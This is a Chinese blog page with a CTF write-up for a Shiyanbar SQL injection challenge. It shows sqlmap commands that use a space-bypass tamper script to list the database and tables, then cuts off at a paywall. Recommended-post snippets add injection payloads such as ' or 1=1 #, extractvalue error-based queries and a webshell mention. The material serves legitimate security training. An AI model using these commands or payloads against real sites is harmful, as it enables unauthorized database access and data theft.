实验吧 ctf 题目简单的sql注入2writeup

最新推荐文章于 2025-10-13 14:24:03 发布
原创 最新推荐文章于 2025-10-13 14:24:03 发布 · 置顶 · 6.3k 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#ctf

本文记录了一个CTF挑战中遇到的SQL注入问题的解决过程，通过输入ID值观察回显，利用sqlmap工具进行注入攻击，逐步揭示了数据库名、表名以及关键的flag列，并最终获取数据。

解题链接： http://ctf5.shiyanbar.com/web/index_2.php

1.输入id值，通过回显发现题目应该是进行了空格过滤

2.使用sqlmap进行注入

   2.1  python sqlmap.py  -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent  --tamper=space2hash.py 

         --current-db   查看当前数据库名称，返回web1


2.2  python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent  --tamper=space2hash.py   

       --current-db --tables 查看当前数据库名称和数据库里所有的表

最低0.47元/天 解锁文章
实验吧——SQL注入 Write up(一)
Lemon's blog
08-05 607
前言：之前学习过了联合注入查询、布尔盲注、时间盲注等，这次就通过实验吧的SQL注入题来加强一下。 简单的sql注入 输入有回显，且有输入框，那就可以用联合查询的方法来注入 题中提示已经过滤了一些关键字，那么就先来查看题中过滤的是哪些关键字 ?id=1 union select order by # 回显结果： union，select等都被过滤而且没有报错说明#也被过滤 可以自己建立一个语句...
CTF-sql注入（X-Forwarded-For）
Reaches_r的博客
08-05 425
1.扫描目标IP发现只开了80http服务 2.进去有个登录界面，考虑sql注入得到账户密码 3.启动AWVS(AcunetixWeb Vulnarability Scanner)添加目标，扫描发现存在X-Forwarded-For注入漏洞 4.使用sqlmap注入攻击（--batch表示自动回应询问） （1）得到数据库名 （2）同理得到表名、列名，暴力破解出账户密码 5.登录后台，上传webshell，控制目标，具体步骤参考前面的文章。 ...
最新SQL 三种注入方式详解，零基础入门到精通，收藏这一篇就够了
最新发布
分享Python知识
10-13 660
广度： 面向企业安全建设的核心场景（渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营），本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点，是应对复杂攻防挑战的实用指南。SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。因此，网络安全领域的薪资近年来也呈现稳步增长的态势。
CTF—SQL注入（get）
YkingH的博客
07-09 1024
CTF—WEB—SQL注入 SQL注入漏洞介绍 sql注入攻击指的是构建特殊的输入作为参数传入Web应用程序，而这些输入大都是sql语法里的一些组合，通过执行sql语句而执行攻击者所要的操作，其主要原因是程序没有细致的过滤用户输入的数据，致使非法数据侵入系统。 sql注入产生的原因，通常表现在： 不当的类型处理 不安全的数据库配置 不合理的查询集处理 不当的错误处理 转义字符处理不合适 多个提交处理不当 信息探测 扫描主机服务信息及服务版本 nmap -sV 靶机ip地址 快速扫描主机全部信息 nmap
CTF-sql注入
am_03的博客
08-23 172
在phpstudy里 #为注释 密码随便输入的 还可以输入admin’#(可注释掉) 注意：有的不让输入特殊字符，因为可以绕过验证 在URL处输入网址，在此工具里打开网页，可以点击右上方的扫描网址或者扫描URL 点击后，弹出的信息右键，点击SQL INJECTION POC， 在上方点击，可以获取它的web环境，数据库，命令执行，文件读取，文件上传等等 在下方点击获取信息可得到更多信息，弹出Version,Server,OS,u...
CTF-SQL注入
m0_74317362的博客
07-25 1137
加有
【PTE】承制科技培训SQL注入题目writeup
HkD01L的博客
11-22 948
承制科技的pte培训课程提供的靶场,sql注入题目writeup
CTF之旅（CTFHub技能树+详细Write up+持续更新ing)（SQL注入）
weixin_51563603的博客
09-04 1996
目录其他CTFHub题目WriteUP地址前言SQL注入整数型注入字符型注入 其他CTFHub题目WriteUP地址 本来不想分段的，但是后来发现要写的东西太多了，就分了几段写，大家见谅 1.web前置技能(已完结) 2.信息泄露(已完结) 3.密码口令+XSS(已完结) 前言 这里收录了我在CTFHub中做的题目和自己写的一些想法，首先我想稍微讲下个人经历，本人在今年寒假的时候初识CTF ，当时还在攻防世界上做了一些题目，但是后来有人跟我说攻防世界的题目比较老，建议我换个网站（这边没有诋毁攻 防世界的意
【CTF bugku 成绩查询】关于sql注入
zw05011的博客
01-17 760
知识点 sql注入基础原理（超详细） - 简书一、Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中，再在后台 Sql 服务器上解析执行进行的攻击，它目前黑客对数据库进行攻击的最...https://www.jianshu.com/p/078df7a35671通过1和1'查看返回值，确定注入 通过1' order by 1#、1' order by 2#直到确定为几列 通过联合查询 1' union select database(),user()#进行查询
BuuCTF 极客大挑战SQL注入 WriteUP
她叫常玉莹
07-10 568
极客大挑战EasySQL极客大挑战 lovesql极客大挑战 babysql极客大挑战HardSQL极客大挑战FinalSQL 极客大挑战EasySQL 直接万能密码 1‘ or 1=1 #得到flag 极客大挑战 lovesql 报错注入获取数据库名 geek ' or extractvalue(1,concat('~',database())) # 获取表名 geekuser l0ve1ysql1 ' and extractvalue(1,concat(0x7e, (select group_c.
CTF中的SQL注入
weixin_43906500的博客
02-24 414
1 环境配置 见文章：https://blog.youkuaiyun.com/weixin_43906500/article/details/114025507 docker-compose.yml version: '3.2' services: web: image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-1:latest ports: - 80:80 命令执行 docker-compose up -d 2
CTF--SQL注入
woshisz0413的博客
11-27 517
SQL注入思路： 1.是否存在SQL注入测试方法：(1)使用单引号’ (2)sqlmap：sqlmap.py -u http://******* 2.判断过滤的字符 SQL注入方式： (1)单引号’ (2)or/and 1=1 (3)order by --猜测字段长度 (&&与||绕过过滤) 例:order by 1… SQL绕过过滤方式： (1)某一关键字被过滤:1...
CTF-SQL注入（Get）
su__xiaoyan的博客
12-22 944
SQL注入 当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理，那么攻击者就可以构造特殊的SQL语句，直接输入数据库引擎执行，获取或修改数据库中的数据。 实验环境 攻击者：Kali Linux（192.168.100.146） 靶机：VMware workstations Pro——Debian 6（32-bit）（192.168.100.132） 注意：当前靶机中并没有flag值，需要通过靶机上面的SQL注入漏洞获取数据库中的内容，登陆网站后台，利用网站
CTF-Web SQL注入
weixin_52182264的博客
04-26 5579
sql注入基本情况了解 联合查询注入union 报错注入 一.sql注入基本信息 1. sql注入方式 常见的主要分为三种: 1. 联合查询注入(union) 2. 报错注入 3. 盲注(布尔盲注,时间盲注) 2.注入点提交方式 GET注入 提交数据的方式是GET，注入点的位置在GET参数部分。比如有这样的一个链接 http://xxx.com/news.php?id=1 , id 是注入点,一般注入点是url为主。 POST注入 使用 POST 方式提交数据，注入点位置在 POST 数据部分，常发生在表单
ctf题之SQL注入
m0_51644837的博客
12-10 269
CTF入门笔记之SQL注入
qq_37410729的博客
11-01 3381
sql注入
实验吧——(web)简单的SQL注入1、2 writeup
qq_39480875的博客
05-22 632
判断注入类型 输入：1 输入：1’ 出现报错，初步猜测这是一个字符型的注入。 尝试一些基本的语句： 输入： 1' union select schema_name from information_schema.schemata where '1' ='1 又出现报错。union select被过滤 测试了几个关键词以后，发现都被过滤了 关键词被过滤：解决方法如下 1大小写交替： Ord...
Groovy 表达式注入的ctf题目
07-26
- **反序列化漏洞结合**：某些CTF题目将Groovy表达式注入与其他漏洞（如Java反序列化）结合，构造复杂的利用链。 #### 示例题目 1. **Hack The Box (HTB) 或 TryHackMe (THM) 上的Groovy相关题目** 某些CTF平台...
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值